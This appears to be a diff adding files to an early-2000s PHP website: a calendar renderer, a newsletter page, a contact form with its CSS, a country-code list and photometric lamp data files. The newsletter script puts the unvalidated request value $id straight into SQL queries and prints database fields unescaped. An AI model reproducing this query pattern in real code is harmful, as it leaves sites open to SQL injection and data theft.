+ 5 => "F",
+ 6 => "S"
+ );
+ }
+ // determine total number of days in a month
+ $totaldays = 0;
+ while ( checkdate( $month, $totaldays + 1, $year ) )
+ $totaldays++;
+ // build table
+ echo '<table class="caltable" border="1">';
+ $calendar = date( "F", mktime( 0, 0, 0, $month + 1, 0, $year ) );
+ echo '<tr>
+ <td class="caltitle">'.$prev_month.'</td>
+ <td colspan="5" class="calmonth"> '.$calendar.' '.$year.'</td>
+ <td class="caltitle">'.$next_month.'</td>
+ </tr>';
+ echo '<tr>';
+ //echo '<TH COLSPAN=2 WIDTH=150 BGCOLOR="'.$THCLR.'">'.$THFT.'Things to Do</FONT></TH>';
+ for ( $x = 0; $x < 7; $x++ )
+ {
+ echo '<td class="caldayheader">'.$week_titles[$x].'</td>';
+ }
+ echo '</tr>';
+ // ensure that a number of blanks are put in so that the first day of the month
+ // lines up with the proper day of the week
+ $offset = date( "w", mktime( 0, 0, 0, $month, 0, $year ) ) + 1;
+ echo '<tr>';
+ if ( $offset > 0 && $offset != 7 )
+ echo str_repeat( "<td class=\"calspacer\"> </td>",$offset);
+ if( $offset == 7 )
+ $offset = 0;
+ // start entering in the information
+ for ( $day = 1; $day <= $totaldays; $day++ ) {
+ echo '<td class="calday" valign="top">';
+ echo $day.'<br>';
+ data( $month, $day, $year );
+ echo '</td>';
+ $offset++;
+ // if we're on the last day of the week, wrap to the other side
+ if ( $offset > 6 )
+ {
+ $offset = 0;
+ echo '</tr>';
+ if ( $day < $totaldays )
+ echo '<tr>';
+ }
+ }
+ // fill in the remaining spaces for the end of the month, just to make it look
+ // pretty
+ if ( $offset > 0 )
+ $offset = 7 - $offset;
+ if ( $offset > 0 )
+ echo str_repeat( "<td class=\"calspacer\"> </td>", $offset );
+ // end the table
+ echo '</tr></table>';
+}
+?>
--- /dev/null
+<?
+/******************************************************************************
+ *
+ * $Id: glm-Newsletter-2-0.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+ *
+ ******************************************************************************
+ *
+ * Gaslight Media Toolbox output
+ * glm-Newsletter-2-0
+ * copyright 2001
+ * Author:Steve Sutton
+ *
+ ******************************************************************************/
+
+//include("setup.phtml");
+
+if(!$dbd = db_connect())
+ html_error(DB_ERROR_MSG,1);
+
+$catid = 3;
+
+if(isset($id))
+ {
+ $archqs = "SELECT id,title,status
+ FROM news
+ WHERE (status = 'archived'
+ OR status = 'current')
+ AND catid = $catid
+ ORDER BY status DESC";
+ }
+else
+ {
+ $archqs = "SELECT id,title,status
+ FROM news
+ WHERE status = 'archived'
+ AND catid = 1";
+ }
+
+if(!$archres = db_exec($dbd,$archqs))
+ html_error(DB_ERROR_MSG,1);
+
+
+if(pg_numrows($archres)>0)
+ {
+ for($a=0;$a<pg_numrows($archres);$a++)
+ {
+ $archrow = db_fetch_array($archres,$a,PGSQL_ASSOC);
+ if($archrow[status]=="current")
+ {
+ $archive[$archrow[title]." (current)"] = "news.phtml?id=$archrow[id]";
+ }
+ else
+ {
+ $archive[$archrow[title]] = "news.phtml?id=$archrow[id]";
+ }
+ }
+ }
+
+if(isset($id) && $id != "")
+ {
+ $qs = "SELECT id,title,header,description,image
+ FROM news
+ WHERE id = $id";
+ }
+else
+ {
+ $qs = "SELECT id,title,header,description,image
+ FROM news
+ WHERE status = 'current'
+ AND catid = $catid";
+ }
+
+if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG,1);
+
+if(pg_numrows($res)>0)
+ {
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ if($row[image] != "")
+ {
+ $img = "<img src=\"".MIDSIZED.$row[image]."\" align=left hspace=10 vspace=10>";
+ }
+ else
+ {
+ $img = " ";
+ }
+/* begin output for main section of newsletter */
+?>
+<center>
+
+<table width=400>
+<tr>
+ <td class="header"><?echo $row[title]?></td>
+</tr>
+<tr>
+ <td align=left class="subheadline"><?echo $row[header]?></td>
+</tr>
+<tr>
+ <td class="content"><?echo $img.nl2br($row[description])?></td>
+</tr>
+<tr><td> </td></tr>
+<?
+/* end output for main section of newsletter */
+if($row[id])
+ {
+ $blockqs = "SELECT header,description,image,pos
+ FROM news_block
+ WHERE news_id = $row[id]
+ ORDER BY pos";
+
+ if(!$blockres = db_exec($dbd,$blockqs))
+ html_error(DB_ERROR_MSG,1);
+
+ if(pg_numrows($blockres)>0)
+ {
+ for($i=0;$i<pg_numrows($blockres);$i++)
+ {
+ if($i%2==0)
+ $align = "align=right";
+ else
+ $align = "align=left";
+ $blockrow = db_fetch_array($blockres,$i,PGSQL_ASSOC);
+ if($blockrow[image] != "")
+ {
+ $blockimg = "<img src=\"".MIDSIZED.$blockrow[image]."\"$align>";
+ }
+ else
+ {
+ $blockimg = " ";
+ }
+ /* begin output for block sections of newsletter */
+ ?>
+ <tr>
+ <td align=left class="header"><?echo $blockrow[header]?></td>
+ </tr>
+ <tr>
+ <td class="content"><?echo $blockimg.nl2br($blockrow[description])?></td>
+ </tr>
+ <tr><td> </td></tr>
+ <?
+ }
+ }
+ }
+?>
+<tr><td><B>Newsletters</b><br>
+<?
+if(is_array($archive))
+ {
+ echo html_nav_table($archive,1);
+ }
+?></td></tr>
+</table>
+</center>
+<?
+/* end output for block sections of newsletter */
+ }
+else
+ {
+ ?> <div class="content">
+ No Newsletter today!
+ </div>
+ <?
+ }
+
+?>
--- /dev/null
+.req {color: c00;}
+#contact table {
+ background-color: #F9FBFD;
+ color: #000;
+ width: 400px;
+ border: 1px solid #D7E5F2;
+ border-collapse: collapse;
+ margin-top: 10px;
+ margin-left: 20px;
+ font-size: 12px;}
+
+form, input, textarea, select
+ {font-size: 12px;
+ font-family: arial,Arial, Helvetica, sans-serif;
+ }
+select, option {font-size:11px;}
+.labelcell, .fieldcell, .smalllabelcell, .smallfieldcell, textarea {color: #000;}
+
+#contact td {
+ border: 1px solid #D7E5F2;
+ padding-left: 4px;
+}
+
+.labelcell {
+ background-color: transparent;
+ width: 150px;
+ text-align: right; padding-right: 5px;
+}
+
+.fieldcell {
+ background-color: #F2F7FB;
+ text-align: left;
+ margin-right: 0px;
+ padding-right: 0px;
+}
+
+.smalllabelcell {
+ background-color: transparent;
+}
+
+.smallfieldcell {
+ background-color: #F2F7FB;
+ text-align: left;
+
+}
+.fieldcell input {
+ background-color: #fff;
+ margin-right: 0px;
+
+}
+
+.smallfieldcell input {
+ width: 100px;
+ background-color: #fff;
+}
+
+.smallfieldcell select {
+ background-color: #fff;
+}
+textarea {width: 90%; height: 100px;display:block;}
--- /dev/null
+<?php
+function showForm()
+ {
+ //$conn_str = CONN_STR;//"host=".DB_HOST." dbname=spectrusinc";
+ //$conn = db_connect($conn_str,1);
+ //$qs = "SELECT *
+ //FROM con_request
+ //ORDER BY pos";
+ //$res = pg_Exec($conn,$qs);
+ //
+ //$cats[0][name]='Lighting';
+ //$cats[1][name]='Manufacturing';
+ //$cats[2][name]='Engineering Services';
+
+ echo '
+ <script type="text/javascript src="verify.js"></script>
+ <script type="text/javascript">
+ function validEmail() {
+ var x = document.forms[1].email.value;
+ var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
+ if (filter.test(x)) return(true);
+ else return(false);
+ }
+ </script>
+ <table id="maintable" border="0" cellspacing="0" cellpadding="0">
+ <tr valign="top">
+ <td>
+
+
+<script type="text/javascript" language="javascript" src="'.BASE_URL.'verify.js"></script>
+ <form name="signup" id="signup" method="post" action="'.BASE_URL.'write_contact.phtml" onSubmit="
+ if(!validEmail(this.email.value))
+ {
+ alert(\'Your email address is not correct\');
+ return(false);
+ }
+ this.fname.optional = false;
+ this.fname.r = \'First Name\';
+ this.title.optional = true;
+ this.company.optional = false;
+ this.company.r = \'Company Name\';
+ this.phone.optional = true;
+ this.fax.optional = true;
+ this.address1.optional = false;
+ this.address1.r = \'Address 1\';
+ this.address2.optional = true;
+ this.address2.r = \'Address 2\';
+ this.address3.optional = true;
+ this.address3.r = \'Address 3\';
+ this.city.optional = false;
+ this.city.r = \'City\';
+ this.state.optional = false;
+ this.state.r = \'State\';
+ this.country.optional = false;
+ this.country.r=\'Country\';
+ this.zip.optional = true;
+ this.zip.r = \'Zip\';
+ this.email.optional = false;
+ this.email.r = \'Email\';
+ this.textarea1.optional = true;
+ return(verify(this));
+ ">
+ <table>
+ <tr>
+ <td colspan="4"><h2 style="margin: 5px;">Online Contact Form</h2> <span style="color:red;">* = required fields</span></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><span style="color:red;">* </span><label for="name">Name: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="fname" id="fname" tabindex="1""></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><label for="Title">Title: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="title" id="title" tabindex="3"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><span style="color:red;">* </span><label for="company">Company: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="company" id="company" tabindex="4"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><span style="color:red;">* </span><label for="address1">Address 1: </label></td>
+ <td colspan="2" class="fieldcell"> <input type="text" name="address1" id="address1" tabindex="5"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><label for="address2">Address 2: </label></td>
+ <td colspan="2" class="fieldcell"> <input type="text" name="address2" id="address2" tabindex="6"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><label for="address3">Address 3: </label></td>
+ <td colspan="2" class="fieldcell"> <input type="text" name="address3" id="address3" tabindex="7"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><span style="color:red;">* </span><label for="city">City: </label></td>
+ <td colspan="2" class="fieldcell"> <input type="text" name="city" id="city" tabindex="8"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><span style="color:red;">* </span><label for="state">State / Province / Region: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="state" id="state" tabindex="9"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><span style="color:red;">* </span><label for="zip">Zip/Postal: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="zip" id="zip" tabindex="10"></td>
+ </tr>
+ <tr>
+ <td colspan="4" class="labelcell" style="text-align: left;"><span style="color:red;">* </span><label for="country">Country: </label></td>
+ </tr>
+ <tr>
+ <td colspan="4" class="fieldcell">'.str_replace('<SELECT','<select tabindex="11"',GLM_TEMPLATE::build_picklist("country",$GLOBALS["country_codes"],"")).'</td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><label for="phone">Telephone Number: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="phone" id="phone" tabindex="12"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><label for="fax">Fax Number: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="fax" id="fax" tabindex="13"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><span style="color:red;">* </span><label for="email">Email Address: </label></td>
+ <td colspan="2" class="fieldcell"><input type="text" name="email" id="email" tabindex="14"></td>
+ </tr>
+ <tr>
+ <td colspan="2" class="labelcell"><label for="contacttype">Preferred Contact Method: </label></td>
+ <td colspan="2" class="fieldcell">
+ <input type="radio" name="contact_type" tabindex="15" value="phone" checked> Telephone<br>
+ <input type="radio" name="contact_type" tabindex="16" value="email"> E-Mail<br>
+ </td>
+ </tr>
+
+ <tr>
+ <td colspan="4"><label for="textarea1">Message: </label>
+ <textarea rows="5" id="textarea1" name="textarea1" tabindex="17"></textarea></td>
+ </tr>
+ ';
+ /*
+ $tabcount=19;
+
+ for($i=0;$i<pg_numrows($res);$i++)
+ {
+ // Get everything in one big array
+ $data[$i]=pg_fetch_array($res,$i,PGSQL_ASSOC);
+ }
+
+ for($i=0;$i<sizeof($data);$i++)
+ {
+ $cats[$data[$i][cat]][options][]=$data[$i];
+ }
+ // print_r($data);
+ //print_r($cats);
+
+ // First cell
+
+ $td1 = '<tr><td colspan="4">'."\n";
+ $td1.= '<strong>'.$cats[0][name].'</strong><br>'."\n";
+ for($i=0;$i<sizeof($cats[0][options]);$i++)
+ {
+ //$name=str_replace(" ","_",$cats[0][options][$i][header]);
+ $tabcount++;
+ $tabindex=' tabindex="'.$tabcount.'"';
+ $td1.='<input class="contactoption" type="checkbox" name="contactoption[]"'.$tabindex.' value="'.$cats[0][options][$i][id].'">'.$cats[0][options][$i][header]."<br>\n";
+ }
+ $td1.="</td></tr>\n";
+
+ // Second Cell
+
+ $td2 = '<tr><td colspan="4">'."\n";
+ $td2.= '<strong>'.$cats[1][name].'</strong><br>'."\n";
+ for($i=0;$i<sizeof($cats[1][options]);$i++)
+ {
+ $name=str_replace(" ","_",$cats[1][options][$i][header]);
+ $tabcount++;
+ $tabindex=' tabindex="'.$tabcount.'"';
+ $td2.='<input class="contactoption" type="checkbox" name="contactoption[]"'.$tabindex.' value="'.$cats[1][options][$i][id].'">'.$cats[1][options][$i][header]."<br>\n";
+ }
+ $td2.="</td></tr>\n";
+
+ // Third Cell
+ $td3 = '<tr><td colspan="4">'."\n";
+ $td3.= '<strong>'.$cats[2][name].'</strong><br>'."\n";
+ for($i=0;$i<sizeof($cats[2][options]);$i++)
+ {
+ $name=str_replace(" ","_",$cats[2][options][$i][header]);
+ $tabcount++;
+ $tabindex=' tabindex="'.$tabcount.'"';
+ $td3.='<input class="contactoption" type="checkbox" name="contactoption[]"'.$tabindex.' value="'.$cats[2][options][$i][id].'">'.$cats[2][options][$i][header]."<br>\n";
+ }
+ $td3.="</td></tr>\n";
+*/
+ echo '
+ <tr>
+ <td colspan="4"><input type="checkbox" name="mail_ok" tabindex="'.($tabcount+1).'" value="t" id="mail_ok" checked><label for="mail_ok">Sign me up for the Newsletter</label></td>
+ </tr>
+ <tr>
+ <td colspan="4" align="center"><input class="button" type="submit" name="Submit" value="Submit" tabindex="'.($tabcount+2).'"></td>
+ </tr>
+ </table>
+ </form>
+ </td>
+ </tr>
+ </table>';
+ }
+?>
--- /dev/null
+AFGHANISTAN;AF
+LAND ISLANDS;AX
+ALBANIA;AL
+ALGERIA;DZ
+AMERICAN SAMOA;AS
+ANDORRA;AD
+ANGOLA;AO
+ANGUILLA;AI
+ANTARCTICA;AQ
+ANTIGUA AND BARBUDA;AG
+ARGENTINA;AR
+ARMENIA;AM
+ARUBA;AW
+AUSTRALIA;AU
+AUSTRIA;AT
+AZERBAIJAN;AZ
+BAHAMAS;BS
+BAHRAIN;BH
+BANGLADESH;BD
+BARBADOS;BB
+BELARUS;BY
+BELGIUM;BE
+BELIZE;BZ
+BENIN;BJ
+BERMUDA;BM
+BHUTAN;BT
+BOLIVIA;BO
+BOSNIA AND HERZEGOVINA;BA
+BOTSWANA;BW
+BOUVET ISLAND;BV
+BRAZIL;BR
+BRITISH INDIAN OCEAN TERRITORY;IO
+BRUNEI DARUSSALAM;BN
+BULGARIA;BG
+BURKINA FASO;BF
+BURUNDI;BI
+CAMBODIA;KH
+CAMEROON;CM
+CANADA;CA
+CAPE VERDE;CV
+CAYMAN ISLANDS;KY
+CENTRAL AFRICAN REPUBLIC;CF
+CHAD;TD
+CHILE;CL
+CHINA;CN
+CHRISTMAS ISLAND;CX
+COCOS (KEELING) ISLANDS;CC
+COLOMBIA;CO
+COMOROS;KM
+CONGO;CG
+CONGO, DEMOCRATIC REPUBLIC;CD
+COOK ISLANDS;CK
+COSTA RICA;CR
+COTE D'IVOIRE;CI
+CROATIA;HR
+CUBA;CU
+CYPRUS;CY
+CZECH REPUBLIC;CZ
+DENMARK;DK
+DJIBOUTI;DJ
+DOMINICA;DM
+DOMINICAN REPUBLIC;DO
+ECUADOR;EC
+EGYPT;EG
+EL SALVADOR;SV
+EQUATORIAL GUINEA;GQ
+ERITREA;ER
+ESTONIA;EE
+ETHIOPIA;ET
+FALKLAND ISLANDS (MALVINAS);FK
+FAROE ISLANDS;FO
+FIJI;FJ
+FINLAND;FI
+FRANCE;FR
+FRENCH GUIANA;GF
+FRENCH POLYNESIA;PF
+FRENCH SOUTHERN TERRITORIES;TF
+GABON;GA
+GAMBIA;GM
+GEORGIA;GE
+GERMANY;DE
+GHANA;GH
+GIBRALTAR;GI
+GREECE;GR
+GREENLAND;GL
+GRENADA;GD
+GUADELOUPE;GP
+GUAM;GU
+GUATEMALA;GT
+GUINEA;GN
+GUINEA-BISSAU;GW
+GUYANA;GY
+HAITI;HT
+HEARD ISLAND/MCDONALD ISLANDS;HM
+HOLY SEE (VATICAN CITY STATE);VA
+HONDURAS;HN
+HONG KONG;HK
+HUNGARY;HU
+ICELAND;IS
+INDIA;IN
+INDONESIA;ID
+IRAN, ISLAMIC REPUBLIC OF;IR
+IRAQ;IQ
+IRELAND;IE
+ISRAEL;IL
+ITALY;IT
+JAMAICA;JM
+JAPAN;JP
+JORDAN;JO
+KAZAKHSTAN;KZ
+KENYA;KE
+KIRIBATI;KI
+KOREA, DEMOCRATIC;KP
+KOREA, REPUBLIC OF;KR
+KUWAIT;KW
+KYRGYZSTAN;KG
+LAO;LA
+LATVIA;LV
+LEBANON;LB
+LESOTHO;LS
+LIBERIA;LR
+LIBYAN ARAB JAMAHIRIYA;LY
+LIECHTENSTEIN;LI
+LITHUANIA;LT
+LUXEMBOURG;LU
+MACAO;MO
+MACEDONIA;MK
+MADAGASCAR;MG
+MALAWI;MW
+MALAYSIA;MY
+MALDIVES;MV
+MALI;ML
+MALTA;MT
+MARSHALL ISLANDS;MH
+MARTINIQUE;MQ
+MAURITANIA;MR
+MAURITIUS;MU
+MAYOTTE;YT
+MEXICO;MX
+MICRONESIA;FM
+MOLDOVA, REPUBLIC OF;MD
+MONACO;MC
+MONGOLIA;MN
+MONTSERRAT;MS
+MOROCCO;MA
+MOZAMBIQUE;MZ
+MYANMAR;MM
+NAMIBIA;NA
+NAURU;NR
+NEPAL;NP
+NETHERLANDS;NL
+NETHERLANDS ANTILLES;AN
+NEW CALEDONIA;NC
+NEW ZEALAND;NZ
+NICARAGUA;NI
+NIGER;NE
+NIGERIA;NG
+NIUE;NU
+NORFOLK ISLAND;NF
+NORTHERN MARIANA ISLANDS;MP
+NORWAY;NO
+OMAN;OM
+PAKISTAN;PK
+PALAU;PW
+PALESTINIAN TERRITORY;PS
+PANAMA;PA
+PAPUA NEW GUINEA;PG
+PARAGUAY;PY
+PERU;PE
+PHILIPPINES;PH
+PITCAIRN;PN
+POLAND;PL
+PORTUGAL;PT
+PUERTO RICO;PR
+QATAR;QA
+REUNION;RE
+ROMANIA;RO
+RUSSIAN FEDERATION;RU
+RWANDA;RW
+SAINT HELENA;SH
+SAINT KITTS AND NEVIS;KN
+SAINT LUCIA;LC
+SAINT PIERRE AND MIQUELON;PM
+SAINT VINCENT;VC
+SAMOA;WS
+SAN MARINO;SM
+SAO TOME AND PRINCIPE;ST
+SAUDI ARABIA;SA
+SENEGAL;SN
+SERBIA AND MONTENEGRO;CS
+SEYCHELLES;SC
+SIERRA LEONE;SL
+SINGAPORE;SG
+SLOVAKIA;SK
+SLOVENIA;SI
+SOLOMON ISLANDS;SB
+SOMALIA;SO
+SOUTH AFRICA;ZA
+SOUTH GEORGIA;GS
+SPAIN;ES
+SRI LANKA;LK
+SUDAN;SD
+SURINAME;SR
+SVALBARD AND JAN MAYEN;SJ
+SWAZILAND;SZ
+SWEDEN;SE
+SWITZERLAND;CH
+SYRIAN ARAB REPUBLIC;SY
+TAIWAN, PROVINCE OF CHINA;TW
+TAJIKISTAN;TJ
+TANZANIA, UNITED REPUBLIC OF;TZ
+THAILAND;TH
+TIMOR-LESTE;TL
+TOGO;TG
+TOKELAU;TK
+TONGA;TO
+TRINIDAD AND TOBAGO;TT
+TUNISIA;TN
+TURKEY;TR
+TURKMENISTAN;TM
+TURKS AND CAICOS ISLANDS;TC
+TUVALU;TV
+UGANDA;UG
+UKRAINE;UA
+UNITED ARAB EMIRATES;AE
+UNITED KINGDOM;GB
+UNITED STATES;US
+UNITED STATES MINOR ISLANDS;UM
+URUGUAY;UY
+UZBEKISTAN;UZ
+VANUATU;VU
+VENEZUELA;VE
+VIET NAM;VN
+VIRGIN ISLANDS, BRITISH;VG
+VIRGIN ISLANDS, U.S.;VI
+WALLIS AND FUTUNA;WF
+WESTERN SAHARA;EH
+YEMEN;YE
+ZAMBIA;ZM
+ZIMBABWE;ZW
\ No newline at end of file
--- /dev/null
+IESNA:LM-63-1995
+[DATE]01/14/99
+[TEST]ITL48610
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE III
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]ACRYLIC PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED ACRYLIC LINEAR
+[MORE]PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 150-WATT DIFFUSE ED-23.5 HIGH PRESSURE SODIUM, VERTICAL
+[MORE]BASE-DOWN POSITION.
+[_ARCVOLTSRISE] 2.3
+TILT=NONE
+1 15000 1 48 22 1 1 -1.3229 0 1.8646
+1 1 150
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 68 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115
+ 125 135 145 155 165 175 180
+0 5 15 25 35 45 55 65 73.3 75 85 90 95 105 115 125 135 145 155 165 175 180
+115 162 179 229 311 375 407 440 473 540 655 718 766 835 967 1077 1137 1152 1188
+ 1290 1421 1531 1632 1823 2090 2209 2299 2340 2326 2239 2109 1972 1775 1576
+ 1327 1040 818 613 410 334 318 286 254 238 206 158 174 170
+115 154 179 213 311 375 407 440 473 556 654 700 733 793 900 997 1073 1079 1117
+ 1243 1372 1483 1593 1789 2046 2227 2306 2340 2328 2257 2124 1981 1800 1601
+ 1356 1038 810 618 410 335 335 294 254 238 198 158 166 170
+115 162 179 230 360 440 489 537 589 705 832 862 894 928 1012 1091 1136 1134
+ 1155 1240 1354 1447 1521 1742 1995 2143 2199 2228 2212 2120 2004 1871 1713
+ 1514 1291 1025 796 614 402 327 327 294 254 238 198 158 174 170
+115 146 188 221 327 409 489 521 572 655 750 780 797 840 923 1021 1088 1087 1124
+ 1225 1347 1450 1553 1770 2081 2262 2362 2375 2354 2244 2091 1956 1769 1585
+ 1336 1058 842 636 401 319 319 286 246 238 206 158 166 170
+115 146 188 229 360 473 538 613 696 845 1012 1049 1090 1150 1256 1352 1411 1392
+ 1406 1501 1642 1792 1916 2235 2649 2897 3017 3029 3002 2858 2645 2428 2152
+ 1895 1558 1225 948 699 415 318 319 278 239 254 222 166 158 170
+115 138 188 246 377 506 588 679 803 993 1192 1262 1335 1392 1475 1579 1627 1572
+ 1514 1581 1734 1926 2103 2506 3030 3329 3462 3489 3459 3277 2924 2673 2370
+ 2040 1643 1221 957 719 431 318 319 294 271 309 237 174 166 170
+115 146 188 246 393 523 613 720 852 1059 1293 1445 1556 1636 1738 1891 1976
+ 1899 1753 1694 1808 2065 2363 2957 3678 4204 4565 4814 4799 4640 4168 3755
+ 3287 2706 2186 1622 1181 880 508 366 382 342 343 380 260 173 166 170
+115 146 188 246 385 506 588 687 802 978 1211 1340 1496 1677 1912 2240 2540 2678
+ 2679 2718 2985 3340 3779 4537 5431 6088 6587 6811 6794 6595 5990 5274 4510
+ 3728 2911 2180 1549 1169 583 430 486 437 413 403 268 173 166 170
+115 154 188 254 377 490 564 645 727 852 1030 1117 1217 1369 1594 1890 2184 2364
+ 2520 2765 3243 3795 4371 5291 6352 7187 7670 7792 7746 7472 6801 5903 4989
+ 4070 3105 2239 1627 1143 609 470 510 436 365 364 261 173 166 170
+115 162 188 254 385 490 554 629 703 819 973 1052 1135 1259 1438 1718 1980 2154
+ 2321 2613 3079 3617 4204 5154 6200 7066 7532 7684 7639 7335 6628 5886 4943
+ 3991 3059 2202 1613 1140 617 461 494 420 341 349 261 173 166 170
+115 154 196 245 352 433 497 546 596 653 717 739 740 782 843 974 1069 1149 1225
+ 1371 1606 1911 2282 2937 3689 4369 4958 5235 5225 5057 4639 4115 3521 2914
+ 2226 1603 1171 852 501 390 390 317 254 270 230 174 174 170
+115 154 196 254 351 424 480 512 545 595 635 650 650 676 720 827 914 979 1062
+ 1180 1334 1465 1677 2097 2561 3020 3353 3578 3554 3418 3152 2849 2465 2066
+ 1574 1159 843 632 417 342 334 277 223 239 222 174 166 170
+115 146 196 245 335 400 456 480 513 545 578 593 593 619 662 754 850 922 1006
+ 1119 1203 1252 1350 1536 1773 1995 2185 2338 2332 2284 2173 2018 1791 1519
+ 1220 941 694 553 363 303 295 254 223 215 206 158 158 170
+115 146 196 237 319 367 415 447 463 488 520 535 536 571 623 721 801 883 981
+ 1068 1128 1139 1123 1145 1217 1244 1251 1258 1254 1227 1176 1118 1040 921 767
+ 643 549 467 356 271 271 254 206 191 191 158 166 170
+115 130 179 229 294 343 383 415 431 456 497 519 520 554 598 687 744 844 960
+ 1085 1135 1137 1096 1094 1142 1164 1179 1193 1193 1191 1172 1136 1076 991 875
+ 766 686 603 457 285 271 238 207 191 174 158 166 170
+115 122 179 221 270 326 358 383 407 448 488 512 537 579 621 694 743 818 917
+ 1021 1097 1115 1090 1092 1108 1124 1151 1201 1202 1207 1189 1161 1109 1034 943
+ 848 783 695 552 315 286 254 214 191 174 158 166 170
+115 122 163 213 270 310 342 358 383 425 481 521 546 597 663 743 791 846 886 928
+ 993 1030 1053 1070 1111 1153 1216 1269 1275 1271 1253 1226 1173 1100 1034 953
+ 882 829 687 417 317 270 222 191 174 158 174 170
+115 114 154 205 261 294 326 358 375 408 457 514 555 613 688 776 839 886 916 932
+ 940 957 981 1006 1048 1115 1194 1241 1243 1256 1238 1228 1193 1151 1102 1054
+ 1011 941 790 464 340 285 222 191 174 158 174 170
+115 105 154 196 237 278 310 334 359 392 433 489 522 580 630 719 766 812 827 833
+ 824 824 826 851 887 963 1042 1108 1119 1147 1162 1176 1182 1173 1161 1120 1094
+ 1036 859 462 316 261 206 183 174 166 166 170
+115 97 146 179 229 261 294 326 342 376 442 506 554 605 672 767 797 828 842 839
+ 806 790 775 775 780 848 929 1011 1025 1080 1133 1162 1176 1181 1170 1145 1118
+ 1062 916 493 299 246 206 174 174 158 166 170
+115 114 146 179 212 245 277 293 310 343 392 440 473 523 590 671 734 781 811 808
+ 790 756 726 725 714 784 867 977 994 1049 1110 1147 1167 1156 1139 1121 1095
+ 1055 925 532 299 238 198 174 174 158 166 170
+115 97 146 179 212 229 261 277 294 327 376 424 439 474 540 605 653 700 731 744
+ 726 711 711 710 714 770 884 990 1012 1071 1118 1164 1190 1171 1155 1138 1119
+ 1075 949 549 298 238 206 174 174 158 174 170
--- /dev/null
+IESNA:LM-63-1995
+[DATE]01/13/99
+[TEST]ITL48611
+[MANUFAC]LEXALITE INTERNATIONAL CORPORATION
+[LUMCAT]MODEL 424 TYPE III
+[LUMINAIRE]CAST METAL POST-TOP FITTER AND SOCKET BASE, CLEAR MOLDED
+[MORE]ACRYLIC PRISMATIC REFRACTOR WITH FORMED PERFORATED SEMI-
+[MORE]SPECULAR METAL UPPER REFLECTOR, CLEAR MOLDED ACRYLIC LINEAR
+[MORE]PRISMATIC DECORATIVE TOP.
+[LAMP]ONE 175-WATT PHOSPHOR-COATED E-28 METAL HALIDE, VERTICAL BASE-DOWN
+[MORE]POSITION.
+TILT=NONE
+1 14000 1 47 22 1 1 -1.3229 0 1.8646
+1 1 175
+0 2.5 5 7.5 10 12.5 15 17.5 20 22.5 25 27.5 30 32.5 35 37.5 40 42.5 45 47.5 50
+ 52.5 55 57.5 60 62.5 65 67.5 70 72.5 75 77.5 80 82.5 85 87.5 90 95 105 115 125
+ 135 145 155 165 175 180
+0 5 15 25 35 45 55 65 73 75 85 90 95 105 115 125 135 145 155 165 175 180
+111 146 146 209 292 355 396 416 460 544 584 625 671 820 962 1021 1057 1041 1151
+ 1277 1418 1502 1627 1754 1914 1989 2023 1993 1902 1775 1648 1507 1399 1227
+ 1021 834 646 423 325 325 264 244 243 202 183 162 162
+111 156 166 209 292 355 396 437 459 533 584 614 671 797 898 958 995 988 1078
+ 1215 1357 1449 1567 1733 1875 1980 2013 1993 1904 1785 1649 1516 1389 1228
+ 1029 822 626 423 325 326 284 243 233 202 183 162 162
+111 166 166 230 334 417 480 521 585 669 751 791 836 962 1043 1102 1117 1080
+ 1169 1274 1373 1438 1564 1692 1854 1947 1957 1886 1789 1675 1570 1454 1330
+ 1198 990 802 606 414 325 315 274 243 233 202 183 162 162
+111 146 156 219 314 417 469 511 564 647 697 708 754 879 950 1021 1057 1039 1127
+ 1235 1377 1470 1590 1779 1961 2083 2092 2039 1899 1764 1640 1516 1392 1261
+ 1059 841 639 391 306 306 264 243 233 202 183 162 162
+111 135 167 219 356 459 522 606 691 826 906 936 994 1160 1240 1299 1314 1277
+ 1377 1505 1648 1765 1958 2200 2440 2570 2584 2487 2315 2127 1943 1790 1645
+ 1479 1216 958 722 430 305 316 274 243 243 223 182 162 162
+111 135 167 219 347 492 585 669 787 973 1084 1135 1212 1378 1467 1505 1499 1440
+ 1499 1598 1778 1969 2225 2550 2872 3048 3072 2991 2768 2477 2234 2029 1819
+ 1576 1295 1007 753 470 304 316 284 265 305 242 182 162 162
+111 146 167 241 388 523 616 711 849 1048 1200 1272 1381 1589 1711 1844 1928
+ 1871 1864 1893 2061 2331 2691 3117 3635 3953 4106 4081 3873 3459 3078 2720
